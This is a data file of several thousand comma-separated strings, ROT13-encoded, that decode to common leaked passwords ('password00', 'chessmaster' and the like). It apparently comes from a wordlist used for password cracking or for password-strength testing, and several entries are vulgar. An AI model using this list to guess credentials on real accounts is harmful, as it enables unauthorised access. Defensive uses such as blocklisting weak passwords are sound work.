n,qnirlobl,cebab1,qrygn2,urzna,1ubeal,glevx123,bfgebi,zq2020,ureir,ebpxsvfu,ry546218,esuolwkes,purffznfgre,erqzbba,yraal1,215487,gbzng,thccl,nzrxcnff,nzbron,zl3tveyf,abggvatu,xnivgn,angnyvn1,chppvav,snovnan,8yrggref,ebzrbf,argtrne,pnfcre2,gngref,tbjvatf,vsbetbg1,cbxrfzbg,cbyyvg,ynjeha,crgrl1,ebfrohqf,007we,tgugpauwdes,x9qyf02n,arrare,nmreglh,qhxr11,znalnx,gvtre01,crgebf,fhcrezne,znatnf,gjvfgl,fcbggre,gnxntv,qynabq,dpzsq454,ghflzb,mm123456,punpu,aniloyhr,tvyoreg1,2xnfu6md,nirznevn,1ukobdt2f,ivivnar,yuowxwhom2957704,abjjbjgt,1n2o3p4,z0ea3,xdvto7,fhcrechcre,whrugj,trguvtu,gurpybja,znxrzr,cenqrrc,fretvx,qrvba21,ahevx,qrib2706,aoivog,ebzna222,xnyvzn,arinru,znegva7,nangurzn,sybevna1,gnzjfa3fwn,qvaznzzn,133159,123654d,fyvpxf,cac0p08,lbwvzob,fxvcc,xvena,chfflshpx,grratvey,nccyrf12,zlonyyf,natryv,1234n,125678,bcrynfgen,oyvaq1,nezntrqq,svfu123,cvghsb,puryfrns,gurqrivy,ahttrg1,phag69,orrgyr1,pnegre15,ncbyba,pbyynag,cnffjbeq00,svfuobl,qwxewqs,qrsgbar,prygv,guerr11,plehf1,yrsgunaq,fxbny1,sreaqnyr,nevrf1,serq01,eboregn1,puhpxf,pbeaoernq,yyblq1,vprpern,pvfpb123,arjwrefr,isueocs,cnffvb,ibypbz1,evxvzneh,lrnu11,qwrzor,snpvyr,n1y2r3k4,ongzna7,aheoby,yberamb1,zbavpn69,oybjwbo1,998899,fcnax1,233391,a123456,1orne,oryyfbhg,999998,prygvp67,fnoer1,chgnf,l9raxw,nysnorgn,urngjnir,ubarl123,uneq4h,vafnar1,kgulfd,zntahz1,yvtugfnore,123djrdjr,svfure1,cvkvr1,cerpvbf,orasvp,gurtveyf,obbgfzna,4321erjd,anobxbi,uvtugvzr,qwtuwp,1puryfrn,whatyvfg,nhthfg16,g3sxixzw,1232123,yfqyfq12,puhpxvr1,crfpnqb,tenavg,gbbtbbq,pngubhfr,angrqnjt,ozj530,123xvq,unwvzr,198400,ratvar1,jrffbaaa,xvatqbz1,abirzoer,1ebpxf,xvatsvfure,djregl89,wbeqna22,mnfenarp,zrtng,fhprff,vafgnyyhgvy,srgvfu01,lnafuv1982,1313666,1314520,pyrzrapr,jnetbq,gvzr1,arjmrnynaq,fanxre,13324124,pserus,urcpng,znmnunxn,ovtwnl,qravfbi,rnfgjrfg,1lryybj,zvfglqbt,purrgbf,1596357,tvatre11,znievx,ohool1,ouols,clenzvqr,tvhfrcc,yhguvra,ubaqn250,naqerjwnpxvr,xragnie,ynzcbba,mnd123jfk,fbavpk,qnivqu,1ppppp,tbebqbx,jvaqfbat,cebtenzz,oyhag420,iynq1995,mkpisqfn,gnenfbi,zefxva,fnpunf,zreprqrf1,xbgrpmrx,enjqbt,ubarlorne,fghneg1,xnxglf,evpuneq7,55555a,nmnyvn,ubpxrl10,fpbhgre,senapl,1kkkkkk,whyvr456,grdhvyyn,cravf123,fpuzbr,gvtrejbbqf,1sreenev,cbcbi,fabjqebc,zngguvrh,fzbyrafx,pbeasynx,wbeqna01,ybir2000,23jrfqkp,xfjvff,naan2000,travhfarg,onol2000,33qf5k,jnireyl,baylbar4,argjbexvatcr,enira123,oyrffr,tbpneqf,jbj123,cwsyxbex,whvprl,cbbeobl,serrrr,ovyylob,funurra,mkpioaz.,oreyvg,gehgu1,trcneq,yhqbivp,thagure1,obool2,obo12345,fhazbba,frcgrzoe,ovtznp1,opawuom,frnxvat,nyy4h,12dj34re56gl,onffvr,abxvn5228,7355608,flyjvn,puneiry,ovyytngr,qnivba,punoyvf,pngfzrbj,xwvsyes,nzlylaa,esioxxs,zvmerqur,unaqwbo,wnfcre12,reoby,fbynen,ontcvcr,ovssre,abgvzr,reyna,8543852,fhtnerr,bfuxbfu,srqben,onatohf,5ylrqa,ybatonyy,grerfn1,obbglzna,nyrxfnaq,dnmjfkrqp12,ahwoup,gvsbfv,mckijl,yvtugf1,fybjcbxr,gvtre12,xfgngr,cnffjbeq10,nyrk69,pbyyvaf1,9632147,qbtybire,onfronyy2,frphevgl1,tehagf,benatr2,tbqybirf,213djr879,whyvro,1dnmkfj23rqpise4,abvqrn,8hvnmc,orgfl1,whavbe2,cneby123,123456mm,cvrubaxvv,xnaxre,ohaxl,uvatvf,errfr1,dnm123456,fvqrjvaqre,gbarqhc,sbbgfvr,oynpxcbb,wnyncrab,zhzzl1,nyjnlf1,wbfu1,ebpxlobl,cyhpxl,puvpnt,anqebw,oynearl,oybbq123,jurngvrf,cnpxre1,eniraf1,zewbarf,tsuwxz007,naan2010,njngne,thvgne12,unfuvfu,fpnyr1,gbzjnvgf,nzevgn,snagnfzn,escslz,cnff2,gvtevf,ovtnve,fyvpxre,flyiv,fuvycn,pvaqlybh,nepuvr1,ovgpurf1,cbcclf,bagvzr,ubearl1,pnznebm28,nyynqva,ohwuz,pd2xcu,nyvan1,jiw5ac,1211123n,grgbaf,fpberyna,pbapbeqv,zbetna2,njnpf,funagl,gbzpng14,naqerj123,orne69,ivgnr,serq99,puvatl,bpgnar,orytnevb,sngqnqql,eubqna,cnffjbeq23,frkkrf,obbzgbja,wbfuhn01,jne3qrzb,zl2xvqf,ohpx1,ubg4lbh,zbanzbhe,12345nn,lhzvxb,cnebby,pneygba1,arireynaq,ebfr12,evtug1,fbpvnyq,tebhfr,oenaqba0,png222,nyrk00,pvivprk,ovagnat,znyxni,nefpuybp,qbqtrivcre,djregl666,tbqhxr,qnagr123,obff1,bagurebp,pbecfzna,ybir14,hvrth451,uneqgnvy,vebaqbbe,tuwerusarus,36460341,xbavwa,u2fypn,xbaqbz25,123456ff,pslgkes,ogawrl,anaqb,serrznvy,pbznaqre,angnf666,fvbhkfvr,uhzzre1,ovbzrq,qvzfhz,lnaxrrf0,qvnoyb666,yrfovna1,cbg420,wnfbaz,tybpx23,wraalo,vgfzvar,yran2010,jungguru,ornaqvc,nonqqba,xvfuber,fvtahc,ncbtrr,ovgrzr12,fhmvrd,itsha4,vfrrlbh,evsyrzna,djregn,4chffl,unjxzna,thrfg1,whar17,qvpxfhpx,obbgnl,pnfu12,onffnyr,xglolhusy,yrrgpu,arfpnsr,7bigtvzp,pyncgba1,nhebe,obbavr,genpxre1,wbua69,oryynf,pnovaobl,lbaxref,fvyxl1,ynqlssrfgn,qenpur,xnzvy1,qnivqc,onq123,fabbcl12,fnapur,jreguisl,npuvyyr,arsregvgv,trenyq1,fyntr33,jnefmnjn,znpfna26,znfba123,xbgbcrf,jrypbzr8,anfpne99,xvevy,77778888,unvel1,zbavgb,pbzvpfnaf,81726354,xvyynorr,nepyvtug,lhb67,srryzr,86753099,aaffaa,zbaqnl12,88351132,88889999,jrofgref,fhovgb,nfqs12345,inm2108,miokecy,159753456852,ermrqn,zhygvzrq,abnpprff,uraevdhr,gnfpnz,pncgvin,mnqebg,ungrlbh,fbcuvr12,123123456,fabbc1,puneyvr8,ovezvatu,uneqyvar,yvoreg,nmfkqps,89172735872,ewcguwh,obaqne,cuvyvcf1,byrtanehgb,zljbeq,lnxzna,fgneqbt,onanan12,1234567890j,snebhg,naavpx,qhxr01,esw422,ovyyneq,tybpx19,funbyva1,znfgre10,pvaqrery,qrygnbar,znaavat1,ovtterra,fvqarl1,cnggl1,tbsbevg1,766etydl,friraqhf,nevfgbgy,nezntrqb,oyhzra,tsuslwm,xnmnxbi,yrxolkkk,nppbeq1,vqvbgn,fbppre16,grknf123,ivpgbver,bybyb,puevf01,oboooo,299792458,rrrrrrr1,pbasvqra,07070,pynexf,grpuab1,xnlyrl,fgnat1,jjjjjj1,hhhhh1,arireqvr,wnfbae,pnifpbhg,481516234,zlybir1,funvgna,1dnmkpio,oneonebf,123456782000,123jre,guvffhpxf,7frira,227722,snrevr,unlqhxr,qonpxf,fabexry,mzkapoi,gvtre99,haxabja1,zryznp,cbyb1234,fffffff1,1sver,369147,onaqhat,oyhrwrna,avienz,fgnayr,pgpaus,fbppre20,oyvatoyv,qvegonyy,nyrk2112,183461,fxlyva,obbozna,trebagb,oevggnal1,llm2112,tvmzb69,xgeprp,qnxbgn12,puvxra,frkl11,it08x714,oreanqrg,1ohyyqbt,ornpuf,ubyylo,znelwbl,znetb1,qnavryyr1,punxen,nyrknaq,uhyypvgl,zngevk12,fneraan,cnoybf,nagyre,fhcrepne,pubzfxl,trezna1,nvewbeqna,545rggil,pnzneba,syvtug1,argivqrb,gbbgnyy,inyureh,481516,1234nf,fxvzzre,erqpebff,vahlnfu,hguisl,1012aj,rqbneqb,owutsv,tbys11,9379992n,yntnegb,fbponyy,obbcvr,xenml,.nqtwzcgj,tnlqne,xbinyri,trqqlyrr,svefgbar,gheobqbt,ybirrr,135711,onqob,gencqbbe,bcbcbc11,qnaal2,znk2000,526452,xreel1,yrncsebt,qnvfl2,134xmovc,1naqern,cynln1,crrxno00,urfxrl,cveeryyb,tfrjszpx,qvzba4vx,chccvr,puryvbf,554433,ulcabqnaal,snagvx,lujadp,tuoqgatwes,napubent,ohssrgg1,snagn,fnccub,024680,ivnyyv,puvin,yhplyh,unfurz,rkoagxz,gurzn,23wbeqna,wnxr11,jvyqfvqr,fznegvr,rzrevpn,2jw2x9bw,iragehr,gvzbgu,ynzref,onrepura,fhfcraqr,obbovf,qrazna85,1nqnz12,bgryyb,xvat12,qmnxhav,dfnjoof,vftnl,cbeab123,wnz123,qnlgban1,gnmmvr,ohaal123,nzngrenfh,wrsser,pebphf,znfgrepneq,ovgpurqhc,puvpntb7,nlaenaq,vagry1,gnzvyn,nyvnamn,zhypu,zreyva12,ebfr123,nypncbar,zveprn,ybirure,wbfrcu12,puryfrn6,qbebgul1,jbystne,hayvzvgr,neghevx,djregl3,cnqql1,cvenzvq,yvaqn123,pbbbby,zvyyvr1,jneybpx1,sbetbgvg,gbeg02,vyvxrlbh,nirafvf,ybirvfyvsr,qhzonff1,pyvag1,2110fr,qeybir,byrfvn,xnyvavan,fretrl123,123423,nyvpvn1,znexbin,gev5n3,zrqvn1,jvyyvn1,kkkkkkk1,orrepna,fzx7366,wrfhfvfybeq,zbgureshpx,fznpxre,oveguqnl5,wonol,uneyrl2,ulcre1,n9387670n,ubarl2,pbeirg,twzcgj,ewuwxzovra,ncbyyba,znquhev,3n5veg,prffan17,fnyhxv,qvtjrrq,gnzvn1,lwn3ib,psiyruse,1111111d,zneglan,fgvzcl1,nawnan,lnaxrrzc,whcvyre,vqxsn,1oyhr,sebzi,nsevp,3kobobob,yvirec00y,avxba1,nznqrhf1,npre123,ancbyrb,qnivq7,iouwpxsqs,zbwb69,crepl1,cvengrf1,tehag1,nyrahfuxn,svaone,mfkqps,znaql123,1serq,gvzrjnec,747ooo,qehvqf,whyvn123,123321dd,fcnprone,qernqf,sponepryban,natryn12,navzn,puevfgbcure1,fgnetnmre,123123f,ubpxrl11,oerjfxv,zneyobe,oyvaxre,zbgbeurnq,qnzatbbq,jregues,yrgzrva3,zberzbarl,xvyyre99,naarxr,rngvg,cvynghf,naqerj01,svban1,znvgnv,oyhpure,mktqda,r5csgh,anthny,cnavp1,naqeba,bcrajvqr,nycunorgn,nyvfba1,puryfrn8,sraqr,zzz666,1fubg2,n19y1980,123456@,1oynpx,z1punry,intare,ernytbbq,znkkk,irxzaoe,fgvsyre,2509zzu,gnexna,furembq,1234567o,thaaref1,negrz2010,fubbol,fnzzvr1,c123456,cvttvr,nopqr12345,abxvn6230,zbyqve,cvgre,1dnm3rqp,serdhrap,nphenafk,1fgne,avxrnve,nyrk21,qncvzc,enawna,vybirtveyf,nanfgnfvl,oreongbi,znafb,21436587,yrnsf1,106666,natrybpurx,vatbqjrgehfg,123456nnn,qrnab,xbefne,cvcrgxn,guhaqre9,zvaxn,uvzhen,vafgnyyqrivp,1ddddd,qvtvgnycebqh,fhpxzrbss,cybaxre,urnqref,iynfbi,xge1996,jvaqfbe1,zvfunaln,tnesvryq1,xbeiva,yvggyrovg,nmnm09,inaqnzzr,fpevcgb,f4114q,cnffjneq,oevgg1,e1puneq,sreenev5,ehaavat1,7kfjmnd,snypba2,crccre76,genqrzna,rn53t5,tenunz1,ibyibf80,ernavzngbe,zvpnfn,1234554321d,xnveng,rfpbecvba,fnarx94,xnebyvan1,xbybieng,xnera2,1dnm@jfk,enpvat1,fcybbtr,fnenu2,qrnqzna1,perrq1,abbare,zvavpbbc,bprnar,ebbz112,punezr,12345no,fhzzre00,jrgphag,qerjzna,anfglzna,erqsver,nccryf,zreyva69,qbysva,obeaserr,qvfxrggr,bujryy,12345678djr,wnfbag,znqpnc,pboen2,qbyrzvg1,junggururyy,whnavg,ibyqrzne,ebpxr,ovnap,ryraqvy,ighstwxop,ubgjurryf,fcnavf,fhxenz,cbxresnpr,x1yyre,sernxbhg,qbagnr,ernyznqev,qehzff,tbenzf,258789,fanxrl,wnfbaa,juvgrjbys,orserr,wbuaal99,cbbxn,gurtubfg,xraalf,isirxgkes,gbol1,whzczna23,qrnqybpx,oneojver,fgryyvan,nyrkn1,qnynzne,zhfgnattg,abegujrf,grfbeb,punzryrb,fvtgnh,fngbfuv,trbetr11,ubgphz,pbearyy1,tbysre12,trrx01q,gebybyb,xryylz,zrtncbyvf,crcfv2,urn666,zbaxsvfu,oyhr52,fnenwnar,objyre1,fxrrgf,qqtveyf,usppom,onvyrl01,vfnoryyn1,qerqnl,zbbfr123,onbono,pehfuzr,000009,irelubg,ebnqvr,zrnabar,zvxr18,uraevrgg,qbupigrp,zbhyva,thyahe,nqnfgen,natry9,jrfgrea1,anghen,fjrrgcr,qgasxz,znefone,qnvflf,sebttre1,ivehf1,erqjbbq1,fgerrgonyy,sevqbyva,q78haukd,zvqnf,zvpurybo,pnagvx,fx2000,xvxxre,znpnahqb,enzobar,svmmyr,20000,crnahgf1,pbjcvr,fgbar32,nfgnebgu,qnxbgn01,erqfb,zhfgneq1,frklybir,tvnagrff,grncnegl,oboova,orreobat,zbarg1,puneyrf3,naavrqbt,naan1988,pnzryrba,ybatornpu,gnzrer,dcshy542,zrfdhvgr,jnyqrzne,12345mk,vnzurer,ybjobl,pnaneq,tenac,qnvflznl,ybir33,zbbfrwnj,avirx,avawnzna,fuevxr01,nnn777,88002000600,ibqbyrv,onzohfu,snypbe,uneyrl69,nycunbzrtn,frirevar,tenccyre,obfbk,gjbtveyf,tngbezna,irggrf,ohggzhapu,pulan,rkpryfvb,penlsvfu,ovevyyb,zrthzv,yfvn9qao9l,yvggyrob,fgrirx,uveblhxv,sverubhf,znfgre5,oevyrl2,tnatfgr,puevfx,pnznyrba,ohyyr,geblobl,sebvaynira,zlohgg,fnaquln,encnyn,wnttrq,penmlpng,yhpxl12,wrgzna,jniznahx,1urngure,orrtrr,artevy,znevb123,shagvzr1,pbarurnq,novtnv,zubetna,cngntbav,geniry1,onpxfcnpr,serapuse,zhqpng,qnfuraxn,onfronyy3,ehfglf,741852xx,qvpxzr,onyyre23,tevssrl1,fhpxzlpbpx,shuesmtp,wraal2,fchqf,oreyva1,whfgsha,vprjvaq,ohzrenat,cniyhfun,zvarpensg123,funfgn1,enatre12,123400,gjvfgref,ohgurnq,zvxrq,svanapr1,qvtavgl7,uryyb9,yiwqc383,wtgusawu,qnyzngvb,cncnebnpu,zvyyre31,2obeabg2o,sngur,zbagreer,guroyhrf,fngnaf,fpunnc,wnfzvar2,fvoryvhf,znaba,urfyb,wpauwq,funar123,angnfun2,cvreebg,oyhrpne,vybirnff,uneevfb,erq12,ybaqba20,wbo314,orubyqre,erqqnjt,shpxlbh!,chfflyvpx,obybtan1,nhfgvagk,byr4xn,oybggb,barevat,wrneyl,onyorf,yvtugohy,ovtubea,pebffsve,yrr123,cencbe,1nfuyrl,tsuwxz22,jjr123,09090,frkfvgr,znevan123,wnthn,jvgpu1,fpuzbb,cnexivrj,qentba3,puvynatb,hygvzb,noenzbin,anhgvdhr,2obeabg2,qhraqr,1neguhe,avtugjvat,fhesobne,dhnag4307,15f9ch03,xnevan1,fuvgonyy,jnyyrlr1,jvyqzna1,julgrfun,1zbetna,zl2tveyf,cbyvp,onenabin,orermhpxvl,xxxxxx1,sbemvzn,sbeabj,djregl02,tbxneg,fhpxvg69,qnivqyrr,jungabj,rqtneq,gvgf1,onlfuber,36987412,tuocuse,qnqqll,rkcyber1,mbvqoret,5damwk,zbetnar,qnavybi,oynpxfrk,zvpxrl12,onyfnz,83l6ci,fnenup,fynlr,nyy4h2,fynlre69,anqvn1,eymjc503,4penaxre,xnlyvr,ahzoreba,grerzbx,jbys12,qrrcchecyr,tbbqorre,nnn555,66669999,jungvs,unezbal1,hr8scj,3gzarw,254kgcff,qhfgl197,jpxfqlcx,mrexnyb,qsaurves,zbgbeby,qvtvgn,jubnerlbh,qnexfbhy,znavpf,ebhaqref,xvyyre11,q2000yo,prtgutsuwxz,pngqbt1,orbtenq,crcfvpb,whyvhf1,123654987,fbsgony,xvyyre23,jrnfry1,yvsrfba,d123456d,444555666,ohapurf,naql1,qneol1,freivpr01,orne11,wbeqna123,nzrtn,qhapna21,lrafvq,yrekfg,enffirg,oebapb2,sbegvf,cbeaybir,cnvfgr,198900,nfqsyxwu,1236547890,shghe,rhtrar1,jvaavcrt261,sx8oulqo,frnawbua,oevzfgba,znggur1,ovgpurqh,pevfpb,302731,ebklqbt,jbbqynja,ibytbtenq,npr1210,obl4h2bjaalp,ynhen123,cebatre,cnexre12,m123456m,naqerj13,ybatyvsr,fnenat,qebton,tboehvaf,fbppre4,ubyvqn,rfcnpr,nyzven,zheznafx,terra22,fnsvan,jz00022,1puril,fpuyhzcs,qbebgu,hyvfrf,tbys99,uryylrf,qrgyrs,zlqbt,rexvan,onfgneqb,znfuraxn,fhpenz,jruggnz,trarevp1,195000,fcnprobl,ybcnf123,fpnzzre,fxlaleq,qnqql2,gvgnav,svpxre,pe250e,xoagusarus,gnxrqbja,fgvpxl1,qnivqehvm,qrfnag,aerzgc,cnvagre1,obtvrf,ntnzrzab,xnafnf1,fznyysel,nepuv,2o4qaifk,1cynlre,fnqqvr,crncbq,6458ma7n,dij6a2,tskdk686,gjvpr2,fu4q0j3q,znlsyl,375125,cuvgnh,ldzoritx,89211375759,xhzne1,csuscs,gblobl,jnl2tb,7cia4g,cnff69,puvcfgre,fcbbal,ohqqlpng,qvnzbaq3,evaprjva,ubovr,qnivq01,ovyyob,ukc4yvsr,zngvyq,cbxrzba2,qvzbpuxn,pybja1,148888,wrazg3,phkyqi,pdajul,pqr34esi,fvzbar1,irelavpr,gbbovt,cnfun123,zvxr00,znevn2,ybycbc,sverjver,qentba9,znegrfnan,n1234567890,oveguqnl3,cebivqra,xvfxn,cvgohyyf,556655,zvfnjn,qnzarq69,znegva11,tbyqbenx,thafuvc,tybel1,jvakpyho,fvktha,fcybqtr,ntrag1,fcyvggre,qbzr69,vstuwo,ryvmn1,fanvcre,jhgnat36,cubravk7,666425,nefuniva,cnhynare,anzeba,z69st1j,djreg1234,greelf,mrflezih,wbrzna,fpbbgf,qjzy9s,625iebot,fnyyl123,tbfgbfb,flzbj8,crybgn,p43dchy5em,znwvaohh,yvguvhz1,ovtfghss,ubeaqbt1,xvcrybi,xevatyr,1ornivf,ybfunen,bpgbor,wzmnps,12342000,dj12dj,eharfpncr1,punetref1,xebxhf,cvxavx,wrffl,778811,twioywu,474wqiss,cyrnfre,zvffxvggl,oernxre1,7s4qs451,qnlna,gjvaxl,lnxhzb,puvccref,zngvn,gnavgu,yra2fxv1,znaav,avpuby1,s00o4e,abxvn3110,fgnaqneg,123456789v,funzv,fgrssvr,yneelja,puhpxre,wbua99,punzbvf,wwwxxx,crazbhfr,xgaw2010,tbbaref,urzzryvt,ebqarl1,zreyva01,ornepng1,1lllll,159753m,1sssss,1qqqqq,gubznf11,twxoles,vinaxn,s1s2s3,crgebian,cuhaxl,pbanve,oevna2,perngvir1,xyvcfpu,iovglzes,serrx,oervgyva,prpvyv,jrfgjvat,tbunoftb,gvccznaa,1fgrir,dhnggeb6,sngobo,fc00xl,enfgnf,1123581,erqfrn,esazes,wrexl1,1nnnnnn,fcx666,fvzon123,djreg54321,123nopq,ornivf69,slslsp,fgnee1,1236547,crnahgohggre,fvagen,12345nopqr,1357246,nopqr1,pyvzoba,755qsk,zreznvqf,zbagr1,frexna,trvyrfnh,777jva,wnfbap,cnexfvqr,vzntvar1,ebpxurnq,cebqhpgv,cynluneq,cevapvcn,fcnzzre,tnture,rfpnqn,gfi1860,qolwhusy,pehvfre1,xraalt,zbagtbzr,2481632,cbzcnab,phz123,natry6,fbbgl,orne01,ncevy6,obqlunzz,chtfyl,trgevpu,zvxrf,cryhfn,sbftngr,wnfbac,ebfgvfyni,xvzoreyl1,128zb,qnyynf11,tbbare1,znahry1,pbpnpbyn1,vzrfu,5782790,cnffjbeq8,qnoblf,1wbarf,vagurraq,r3j2d1,juvfcre1,znqbar,cwpthweng,1c2b3v,wnzrfc,sryvpvqn,arzenp,cuvxnc,sverpng,wepslwkes,zngg12,ovtsna,qbrqry,005500,wnfbak,1234567x,onqsvfu,tbbfrl,hgwhusnom,jvypb,negrz123,vtbe123,fcvxr123,wbe23qna,qtn9yn,i2wzfm,zbetna12,nirel1,qbtfglyr,angnfn,221195jf,gjbcnp,bxgbore7,xneguvx,cbbc1,zvtuglzb,qnivqe,mrezngg,wrubin,nrmnxzv1,qvzjvg,zbaxrl5,frertn123,djregl111,oynoy,pnfrl22,obl123,1pyhgpu,nfqswxy1,unevbz,oehpr10,wrrc95,1fzvgu,fz9934,xnevfuzn,onmmmm,nevfgb,669r53r1,arfgrebi,xvyy666,svuqsi,1nop2,naan1,fvyire11,zbwbzna,gryrsbab,tbrntyrf,fq3yctqe,esuslaol,zryvaqn1,yypbbyw,vqgrhy,ovtpuvrs,ebpxl13,gvzorejb,onyyref,tngrxrrc,xnfuvs,uneqnff,nanfgnfvwn,znk777,ishlwxom,evrfyvat,ntrag99,xnccnf,qnytyvfu,gvapna,benatr3,ghegbvfr,noxoiwl,zvxr24,uhtrqvpx,nynonyn,trbybt,nmvmn,qrivyobl,unonareb,jnurtheh,shaobl,serrqbz5,angjrfg,frnfuber,vzcnyre,djnfmk1,cnfgnf,ozj535,grpxgbavx,zvxn00,wbofrnep,cvapur,chagnat,nj96o6,1pbeirgg,fxbecvb,sbhaqngv,mme1100,trzoveq,isauwpeol,fbppre18,inm2110,crgrec,nepure1,pebff1,fnzrqv,qvzn1992,uhagre99,yvccre,ubgobql,muwpxsqs,qhpngv1,genvyre1,04325956,purely1,orarggba,xbabaraxb,fybarpmxb,estgxzes,anfuhn,onynynvxn,nzcrer,ryvfgba,qbefnv,qvttr,sylebq,bklzbeba,zvabygn,vebazvxr,znwbegbz,xnevzbi,sbegha,chgnevn,na83546921na13,oynqr123,senapuvf,zknvtgt5,qlaklh,qriyg4,oenfv,greprf,jdzshu,adqtkm,qnyr88,zvapuvn,frrlbh,ubhfrcra,1nccyr,1ohqql,znevhfm,ovtubhfr,gnatb2,syvzsynz,avpbyn1,djreglnfq,gbzrx1,fuhznure,xnegbfuxn,onffff,pnanevrf,erqzna1,123456789nf,cerpvbfn,nyyoynpxf,anivqnq,gbzznfb,ornhqbt,sbeerfg1,terra23,elwtwkes,tb4vg,vebazna2,onqarjf,ohggreon,1tevmmyl,vfnrin,erzoenaq,gbebag,1evpuneq,ovtwba,lsyglzes,1xvggl,4at62g,yvggyrwb,jbysqbt,pgiglwq,fcnva1,zrtelna,gngregbg,enira69,4809594d,gncbhg,fghagzna,n131313,yntref,ubgfghs,ysqoy11,fgnayrl2,nqibxng,obybgb,7894561,qbbxre,nqkry187,pyrbqbt,4cynl,0c9b8v,znfgreo,ovzbgn,puneyrr,gblfgbel,6820055,6666667,perirggr,6031769,pbefn,ovatbb,qvzn1990,graavf11,fnzhev,nibpnqb,zryvffn6,havpbe,unonev,zrgneg,arrqfrk,pbpxzna,ureana,3891576,3334444,nzvtb1,tbohssf2,zvxr21,nyyvnam,2835493,179355,zvqtneq,wbrl123,baryhi,ryyvf1,gbjapne,fubahss,fpbhfr,gbby69,gubznf19,pubevmb,woynmr,yvfn1,qvzn1999,fbcuvn1,naan1989,isirxokes,xenfnivpn,erqyrtf,wnfba25,gobago,xngevar,rhzrfzb,isuhsuoaes,1654321,nfqstuw1,zbgqrcnf,obbtn,qbbtyr,1453145,oleba1,158272,xneqvany,gnaar,snyyra1,nopq12345,hslywl,a12345,xhpvat,oheoreel,obqtre,1234578,sroehne,1234512,arxxvq,cebore,uneevfba1,vqyrjvyq,esam90,sbvrtenf,chffl21,ovtfghq,qramry,gvssnal2,ovtjvyy,1234567890mmm,uryyb69,pbzchgr1,ivcre9,uryyfcnj,gelguvf,tbpbpxf,qbtonyyf,qrysv,yhcvar,zvyyravn,arjqryuv,puneyrfg,onffceb,1zvxr,wbroynpx,975310,1ebfrohq,ongzna11,zvfgrevb,shpxahg,puneyvr0,nhthfg11,whnapub,vybaxn,wvtrv743xf,nqnz1234,889900,tbbavr,nyvpng,ttttttt1,1mmmmmmm,frkljvsr,abegufgne,puevf23,888111,pbagnvar,gebwna1,wnfba5,tenvxbf,1ttttt,1rrrrr,gvtref01,vaqvtb1,ubgznyr,wnpbo123,zvfuvzn,evpuneq3,pwko2014,pbpb123,zrntnva,gunzna,jnyyfg,rqtrjbbq,ohaqnf,1cbjre,zngvyqn1,znenqba,ubbxrqhc,wrzvzn,e3iv3jcnff,2004-10-,zhqzna,gnm123,kfjmnd,rzrefba1,naan21,jneybeq1,gbrevat,cryyr,gtjqih,znfgreo8,jnyyfger,zbccry,cevben,tuwpaweqsvs,lbynaq,12332100,1w9r7s6s,wnmmmm,lrfzna,oevnaz,42djregl42,12345698,qnexznak,avezny,wbua31,oo123456,arhfcrrq,ovyytngrf,zbthyf,sw1200,uouynve,funha1,tuoqsa,305cjmye,aoh3pq,fhfnao,cvzcqnq,znathfg6403,wbrqbt,qnjvqrx,tvtnagr,708090,703751,700007,vxnype,govioa,697769,zneiv,vlnnlnf,xnera123,wvzzlobl,qbmre1,r6m8wu,ovtgvzr1,trgqbja,xriva12,oebbxyl,mwqhp3,abyna1,pboore,le8jqkpd,yvror,z1tnenaq,oynu123,616879,npgvba1,600000,fhzvgbzb,nyopnm,nfvna1,557799,qnir69,556699,fnfn123,fgernxre,zvpury1,xnengr1,ohqql7,qnhyrg,xbxf888,ebnqgevc,jncvgv,byqthl,vyyvav1,1234dd,zefcbpx,xjvngrx,ohgresyl,nhthfg31,wvokud,wnpxva,gnkvpno,gevfgenz,gnyvfxre,446655,444666,puevfn,serrfcnpr,isuoslls,puriryy,444333,abglbhef,442244,puevfgvna1,frrzber,favcre12,zneyva1,wbxre666,zhygvx,qrivyvfu,pes450,pqsbyv,rnfgrea1,nffurnq,qhunfg,iblntre2,plorevn,1jvmneq,plorearg,vybirzr1,irgrebx,xnenaqnfu,392781,ybbxfrr,qvqql,qvnobyvp,sbbsvtug,zvffrl,ureoreg1,ozj318v,cerzvre1,mfszci,revp1234,qha6fz,shpx11,345543,fchqzna,yhexre,ovgrz,yvmml1,vebafvax,zvanzv,339311,f7suf127,fgrear,332233,cynaxgba,tnynk,nmhljr,punatrcn,nhthfg25,zbhfr123,fvxvpv,xvyyre69,kfjdnm,dhbinqvf,tabzvx,033028cj,777777n,oneenxhqn,fcnja666,tbbqtbq,fyhec,zbeovhf,lryangf,phwb31,abezna1,snfgbar,rnejvt,nheryv,jbeqyvsr,oasxom,lnfzv,nhfgva123,gvzoreyn,zvffl2,yrtnyvmr,argpbz,yvywba,gnxrvg,trbetva,987654321m,jneoveq,ivgnyvan,nyy4h3,zzzzzz1,ovpuba,ryybob,jnubbf,spnmzw,nxfneora,ybqbff,fnganz,infvyv,197800,znnegra,fnz138989,0h812,naxvgn,jnygr,cevapr12,naivyf,orfgvn,ubfpuv,198300,havire,wnpx10,xglrpoe,te00il,ubxvr,jbyszna1,shpxjvg,trlfre,rzznahr,loewxsgq,djregl33,xneng,qoybpx,nibpng,oboolz,jbzrefyr,1cyrnfr,abfgen,qnlnan,ovyylenl,nygreang,vybirh1,djregl69,enzzfgrva1,zlfgvxny,jvaar,qenjqr,rkrphgbe,penkkkf,tuwpawas,999888777,jryfuzna,npprff123,963214785,951753852,onor69,sipaguysi,****zr,666999666,grfgvat2,199200,avagraqb64,bfpnee,thvqb8,munaan,thzfubr,woveq,159357456,cnfpn,123452345,fngna6,zvguenaq,suoves,nn1111nn,ivttra,svpxgwhi,enqvny9,qnivqf1,envaobj7,shgheb,uvcub,cyngva,cbccl123,eurawd,shyyr,ebfvg,puvpnab,fpehzcl,yhzcl1,frvsre,hizelfrm,nhghza1,kraba,fhfvr1,7h8v9b0c,tnzre1,fverar,zhssl1,zbaxrlf1,xnyvava,bypenpxznfgre,ubgzbir,hpbaa,tfubpx,zrefba,ygugqlm,cvmmnobl,crttl1,cvfgnpur,cvagb1,svfuxn,ynqlqv,cnaqbe,onvyrlf,uhatjryy,erqobl,ebbxvr1,nznaqn01,cnffjeq,pyrna1,znggl1,gnexhf,wnoon1,obofgre,orre30,fbybzba1,zbarlzba,frfnzb,serq11,fhaalfvq,wnfzvar5,gurornef,chgnznqer,jbexuneq,synfuonp,pbhagre1,yvrsqr,zntang,pbexl1,terra6,noenzbi,ybeqvx,haviref,fubeglf,qnivq3,ivc123,taneyl,1234567f,ovyyl2,ubaxrl,qrngufgne,tevzzl,tbivaqn,qverxgbe,12345678f,yvahf1,fubccva,erxoewqs,fnagrevn,cergg,oregl75,zbuvpna